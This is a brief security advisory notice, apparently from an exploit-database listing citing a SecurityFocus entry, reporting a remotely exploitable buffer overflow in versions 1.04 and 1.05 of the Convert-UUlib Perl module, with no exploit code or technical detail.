Convert-UUlib 1.04/1.05 Perl Module - Remote Buffer Overflow

source: https://www.securityfocus.com/bid/13401/info

Convert-UUlib Perl module is prone to a remotely exploitable buffer-overflow vulnerability.

A remote attacker may leverage this condition to overwrite sensitive program control variables and thus gain control of the process's execution flow.

This BID will be updated as soon as further information regarding this issue is made available.
